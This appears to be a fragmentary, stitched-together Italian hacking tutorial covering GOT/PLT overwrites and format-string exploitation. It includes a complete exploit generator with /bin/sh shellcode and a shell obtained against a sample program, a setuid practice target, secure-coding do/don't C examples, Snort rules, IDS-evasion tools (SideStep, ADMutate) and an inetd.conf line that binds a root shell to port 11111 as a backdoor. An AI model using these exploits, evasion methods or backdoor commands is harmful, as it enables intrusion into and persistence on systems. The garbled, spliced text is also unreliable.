Andiamo a vedere la modifica. (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: Proviamo a lanciare il programma. $ ./boh Sono dentro alla funzione food Quando viene chiamata la funzione exit(), il programma cerca l'entry per la rilocazione nella GOT, trova la locazione 0x08049560 che corrisponde alla funzione cercata, e quindi successivamente salta all'indirizzo contenuto in quella locazione. Come nellesempio che avevamo visto allinizio la sostituzione dellindirizzo fa in modo chre il programma salti alla funzione food invece che all'entry nella PLT che gestisce la exit(). Per chi ha un pochino di familiarita' con gli overflow e' molto semplice sfruttare la GOT per fare in modo che il programma esegua iul ritorno sullindirizzo da noi voluto. Mettiamo il caso che vogliamo deviare la printf, prendiamo la locazione nella GOT dove c'e' l'indirizzo della printf e lo overwritiamo con l'indirizzo dello shellcode. Solitamente l'unico problema sta nell'indirizzare il programma a scrivere l poiche' si tratta di una zona di memoria precedente l'heap e che quindi non pu essere raggiunta dallheap. Un modo puo' essere utilizzare i format bug, un altro la tecnica del doppio overflow (stack + heap). Format GOT bugs <-| gotplt/fmt.c |-> #include #include void work(char *s) { printf(s); exit(0); } int main() { char buf[2048]; printf("buf is located @ %p\n", buf); fgets(buf,sizeof(buf), stdin); buf[strlen(buf)-1] = 0; /* strip \n */ work(buf); } <-X-> Come vedete un semplice format buffer overflow non funzionerebbe. Fatta la printf, si modificherebbe il ret della work() che pero' non verrebbe mai raggiunto poiche' la exit() terminerebbe forzatamente il programma. L'unico modo e' sostiuire la exit con il nostro shellcode *g*. Per di piu' abbiamo solo l'imbarazzo della scelta: possiamo usare sia la GOT stessa per infilare lo shellcode, oppure infilarlo in 'buf'. Gia' che abbiamo anche l'indirizzo, possiamo metterlo in buf. Il nostro buffer deve quindi contenere lo shellcode e andare a scrivere nella GOT l'indirizzo dello stesso. Innanzitutto prendiamoci l'indirizzo della exit: $ objdump -R ./fmt DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0x08048420
Ci sono moltissimi modi per fare la format string. Ho scelto quello piu' classico e diffuso: scrivere i bytes in modo incrementale: <\xeb\x08>%$n <\xeb\x08>%$n<\xeb\x08> %$n<\xeb\x08>%$n ADDR e' l'indirizzo a cui dobbiamo andare a scrivere (0x08049590). Per chi non lo sapesse, \xeb\x08 e' un jump relativo 8 byte piu' avanti. Questo permette di andare a prendere in uno qualsiasi dei nop e saltare i %n (a meno che non si sia sfigati assai e si cada direttamente sul %n. Utilizzando %num$x si prende il num-esimo elemento nello stack. $ ./fmt buf is located @ 0xbffff1d8 Per cui diciamo che possiamo scrivere 0xbffff1e2 tranquillamente. Ora cerchiamo la format string all'interno dello stack:
$ ./fmt buf is located @ 0xbffff1d8 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p %pAAAA0x400137500xbffff9d80x80484c20xbffff7d80x2000xbffff9d80x80484ce0xbffff 7d80xbffff7d80x400131540x400002300x401009b40xbffffa140x2(nil)0x400013100x2c8 0x41414141
Per cui distanza = 18. A questo punto abbiamo tutti i dati per costruire il nostro exploit.
<-| gotplt/got.c |-> #include #include #include char linuxsc[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int num(int n) { if(n < 10) return 1; if(n < 100) return 2; if(n < 1000) return 3; } int main(int argc, char **argv) { char a[256],b[256],c[256],d[400], buf[1024]; long int what, where; int what0, what1, what2, what3, dist; bzero(a, sizeof(a)); bzero(b, sizeof(b)); bzero(c, sizeof(c));
\n",argv[0]);
/* recuperiamo i nostri indirizzi */ /* what e' cosa va scritto, where dove :) */ sscanf(argv[1], "%lx", &what); sscanf(argv[2], "%lx", &where); dist = atoi(argv[3]); /* dividiamo l'indirizzo */ what0 = (what & 0xff); what1 = (what >> 8) & 0xff; what2 = (what >> 16) & 0xff; what3 = (what >> 24) & 0xff; /* riempiamo un buffer per ogni byte da scrivere */ memset(a, '\x90',what0 - 2 - 16); sprintf(a+strlen(a), "\xeb\x08%%%d$n", dist); memset(b, '\x90',what1 - what0 - 2); sprintf(b+strlen(b), "\xeb\x08%%%d$n", dist+1); memset(c, '\x90',what2 - what1 - 2); sprintf(c+strlen(c), "\xeb\x08%%%d$n", dist+2); memset(d, '\x90',0x100 + what3 - what2 - 2); sprintf(d+strlen(d), "\xeb%c%%%d$n", num(dist)+3, dist+3); /* questo e' difficile :) il salto dev'essere preciso in modo da beccare in pieno lo shellcode. si poteva anche semplicemente mettere ancora qualche NOP ma odio le cose semplici :P */ /* inseriamo i 4 indirizzi */ *(long int *)buf = where; *(long int *)(buf+4) = where+1; *(long int *)(buf+8) = where+2; *(long int *)(buf+12)= where+3; /* tutto il resto e lo shellcode */ sprintf(buf+16, "%s%s%s%s%s", a,b,c,d,linuxsc); /* printiamo */ printf("%s\n", buf); return 0; } <-X->
$ (./got 0xbffff223 0x080495c0 18 ; cat - ) | ./fmt buf is located @ 0xbffff1d8 id uid=1000(nail) gid=100(users) groups=100(users),3(sys) Risultato: la exit() e' diventata il nostro shellcode Doppio overflow (stack+got) Questo e' un metodo un po' particolare... anzi penso che piu' che un metodo sia un trucchetto molto carino. Infatti per essere attuato richiede ben precise condizioni. In poche parole, si tratta di overwritare un puntatore nello stack in modo che una successiva lettura porti a scrivere nella GOT. Esempio:
Qui sotto potete trovare un programma abbastanza semplice su cui fare esercizio.
<-| gotplt/proggie.c |-> /* ovviamente: # gcc -o proggie proggie.c -lcrypt # chown root ./proggie # chmod 4755 ./proggie # su - user $ vi exploit.c */ #include #include #include #include #include #include char * scheck(char *u) { struct spwd *s; s = getspnam(u); if(!s) return NULL; return s->sp_pwdp; } int check(char *u, char *pwd) { struct passwd *p; char *cpwd; p = getpwnam(u); if(!p) return 0; if(strlen(p->pw_passwd)==1) p->pw_passwd = scheck(u); if(!p->pw_passwd) return 0; cpwd = (char *)crypt(pwd, p->pw_passwd); if(strcmp(cpwd, p->pw_passwd)) return 0; p = getpwnam("nobody"); return p->pw_uid;
Non corretto
void funzione(char *str) { char buffer[256]; strcpy(buffer, str); }
Lalgoritmo potrebbe essere quello che segue : char *source, *dest; while(*dest++); while(*dest++ = *source++); Corretto
void funzione(char *str) { char buffer[256]; strncat(buffer, str, sizeof(buffer)-1strlen(buffer)); buffer{sizeof(buffer)-1] = 0; }
Non corretto
void funzione(char *str) { char buffer[256]; strcat(buffer, str); }
Esegue la stampa dentro ad un buffer di una serie di variabili usando la sringa di formattazione la quale usa gli stessi formati di printf().
Corretto
void funzione(char *str) { char buffer[256]; snprintf(buffer, sizeof(buffer)-1, %s, str); }
Non corretto
void funzione(char *str) { char buffer[256]; sprintf(buffer, %s, str); }
gets(stringa)
Legge da tastiera una stringa e la assegna a stringa. Corretto
void funzione() { char buffer[256]; fgets(buffer, sizeof(buffer)-1, stdin); }
Non corretto
void funzione() { char buffer[256]; gets(buffer); }
scanf(stringa for,mattazione, variabili) sscanf(buffer, stringa formattazione, variabili); fscanf(handle, stringa formattazione, variabili); Le funzioni leggono un input da diverse sorgenti (tastiera, buffer, file) usando una stringa di formattazione e assegnano i valori letti alle variabili. Corretto
void funzione() { char buffer[256]; int num; num = fscanf(stdin, %255s, buffer); }
Non corretto
void funzione() { char buffer[256]; int num; num = fscanf(stdin, %s, buffer); }
memcpy(destinazione, sorgente, dimensione) Copia da sorgente a destinazione byte a byte per la mlunghezza specificata. Corretto
void funzione(char *sorgente) { char buffer[256]; if(strlen(sorgente) > 255) return;
Non corretto
void funzione(char *sorgente) { char buffer[256]; memcpy(buffer, sorgente, strlen(sorgente));
I programmi che svologono alcune funzioni particolari devono inoltre avere certi tipi di accorgimenti. Prendiamo ad esempio il problema della validazione dei DNS. Il metodo che segue risulta essere non corretto.
int validate(u_int32_t ipaddr, char *hostname) { struct inaddr ia; struct hostent *he; memset(&ia, 0, sizeof(ia)); ia.s_addr = ipaddr; he = gethostbyaddr(&ia, sizeof(ia), AF_INET); if (!he) return 0; if (!he->h_name) return 0; if (!strcmp(he->h_name, hostname)) return 1; return 0; }
Anche il settore della vaildazione dei dati inseriti da utenti esistono metodi corretti e metodi invece che possono generare problemi.
#define BAD "/ ;[]<>&\t"
char *query() {
char *query() { char *user_data, *cp; /* Get the data */ user_data = getenv("QUERY_STRING"); /* Remove all but good characters */ for (cp = user_data; *(cp += strspn(cp, OK));) *cp = '_'; return user_data; }
La linea di comando standard : ./snort -v ma possibile specificare i percorsi di dove salvare i logs. ./snort -dev -l ./log La specifica dellIP su cui eseguire lo sniffing : ./snort -dev -l ./log -h 192.168.1.0/24 Snort possiede anche on file snort.conf con dentro la configurazione. Mediante la linea di comando possibile specificare il file di configurazione. ./snort -dev -l ./log -h 192.168.1.0/24 -c snort.conf
Come avrete notato i nomi dei files specificano il sistema di filtraggio inserito dentro a quelle regole a cosa si riferiscono. Prendiamo il file che contiene il filtraggio dei comandi netbios.
# (C) Copyright 2001, Martin Roesch, Brian Caswell, et al. All rights reserved. # $Id: netbios.rules,v 1.12 2001/10/29 01:52:54 roesch Exp $ #-------------# NETBIOS RULES #-------------alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda .eml"; content:"|00| E|00|M|00|L"; flags:A+; classtype:bad-unknown; reference:url,www.datafellows.com/vdescs/nimda.shtml; sid:1293; rev:2;)
Andando sulla rete troverete librerie immense di regole da utilizare con la vostra installazione anche se di fatto il nostro interesse nei confronti di questi sistemi esattamente il contrario ovvero come evadere I sistemi IDS. Nei capitoli precedenti abbiamo ad esempio parlato di sistemi di buffer overflow. Come daltra parte anche le altre cose, questa metodologia potrebbe essere particolarmente complessa, se non impossibile, nel caso in cui si cerchi di eseguire lattacco verso un sistema che dspone di un IDS. Sistemi IDS come NFR possiedono una complessit notevole e richiedono un sistema dedicato, oltre a costi esorbitanti. Chiaramente lefficacia di un sistema IDS dipende in particolar modo dalle dimensioni del database contenente gli identificatori degli attacchi e dal metodo di aggiornamento di questi. Luso di sistemi dedicati dventa necessario per due motivi. Pensate al fatto che un sistema software intercetta I pacchetti che passano su una rete e confrontano I dati contenuti dentro a questi eseguendo dei confronti su moli di dati che possono essere anche di grosse dimensioni. Luso di una di questi pacchetti su un sistema che svolge anche altri compiti potrebbe intaccare le prestazioni del sistema stesso. Ma come possibile evadere lintercettazione dei sistemi IDS ? Sembra stupido ma uno dei metodi migliori per eludere un IDS utilizzare un sistema di attacco che non sia registrato nel database di questo. Un altro metodo quello legato alla frammentazione dei pacchetti. Prendiamo ad esempio FRAGROUTER. Questo pacchetto, prelevabile da http:://www.anzen.com/research/nidsbench
http://www.robertgraham.com/tmp/sidestep.exe
Si tratta di un programma lanciabile da linea di comando : c:\>sidestep SideStep v1.0 Copyright (c) 2000 by Network ICE http://www.robertgraham.com/tmp/sidestep.html usage: sidestep <target> [<options>] Sends attacks at the target that evades an IDS. One of the following protocols/attacks must be specified: -rpc RPC PortMap DUMP -ftp FTP CD ~root -dns DNS version.bind query -snmp SNMP lanman user enum -http /cgi-bin/phf -bo BackOrifice ping -all One of three modes must be specified: -norm Does no evasion (normal attacks) -evade Attempts to attack target evading the IDS -false Does not attack the system at all (false positive) Example: sidestep 10.0.0.1 -evade -dns Queries DNS server for version info evading IDS Un pacchetto particolare che viene utilizzato nellambito delle evasioni dai sistemi IDS ADMUTATE. I metodi generalmente usati dai sistemi IDS per lidentificazione degli attacchi sono : * Signature analysis * Protocol analysis * Traffic pattern statistics Prendiamo ad esempio i metodi per eludere, con un sistema di buffer overflow, locchio attento di un istema IDS. ADMutate accetta come input un exploit basato su di un buffer overflow. Il tool modifica lexploit utilizzando un sistema usato anche dai virus chiamato polimorfismo. In altre parole ADMutate modifica il buffer overflow fino a creare un nuovo exploit che di fatto non possiede gli deintificatori che potrebbero essere intercettati da un sistema IDS. Ma come fa a creare una versione polimorfica dellexploit relativo ad un buffer overflow ? Vi ricordate che un buffer overflow consiste di fatto in tre componeti principali ? Il primo componente la sequenza di NOP che permette al sistema di saltare come esecuzione in un punto che non crei problemi. Il secondo componente il codice assembler che deve esser eseguito. Il terzo il puntatore di salto. ADMutate altera ciascuno di questi tre componenti al fine di creare un set di istruzioni differenti che facciano alla fine la stessa cosa. Per quello che riguarda i NOP non fa altro che sostituire con istruzioni nulle ovvero che non facciano in pratica nulla come ad esempio muovere avanti e indietro i valori da un registro. Ad esempio mete istruzioni del tipo : MOV EAX, 1 MOV EBX., EAX MOV EBX, 1
al verificarsi di una connessione sulla porta 11111 verrebbe lanciata /bin/sh. A questo punto il camando eseguito dal sistema legato al buffer overflow dovrebbe mirare ad aggiungere in coda al file /etc/inetd.conf la linea : /bin/sh c echo 11111 stream tcpo nowait root /bin/sh sh i >>/etc/inetd.conf; killall HUP inted Lultima istruzione eseguirebbe il kill di inetd per cui il processo sarebbe riattivato leggendo il nuovo file di configurazione. Un altro molto sfruttato sui sistemi vittima legato ai trasferimenti via il Trivial FTP ovvero TFTP. Inetd.conf ha ilseguente formato :
# # # # # # # # # # # # # # # # # # # # # inetd.conf This file describes the services that will be available through the INETD TCP/IP super server. To re-configure the running INETD process, edit this file, then send the INETD process a SIGHUP signal. @(#)/etc/inetd.conf 3.10 05/27/93
Version: Authors:
Modified for Debian Linux by Ian A. Murdock <[email protected]> Modified for RHS Linux by Marc Ewing <[email protected]> <service_name> <sock_type> <proto> <flags> <user> <server_path> <args> Echo, discard, daytime, and chargen are used primarily for testing. To re-read this file after changes, just do a 'killall -HUP inetd'
Mentre il sistema precedente era un ottimo metodo per aprire una backdoor sotto Unix, quello che segue pu essere applicato anche a sistemi Windows. Per lesecuzione di questo metodo sono necessari i seguenti steps :
Ora lattaccante possiede una canale interattivo per lavorare sulla macchina vittima.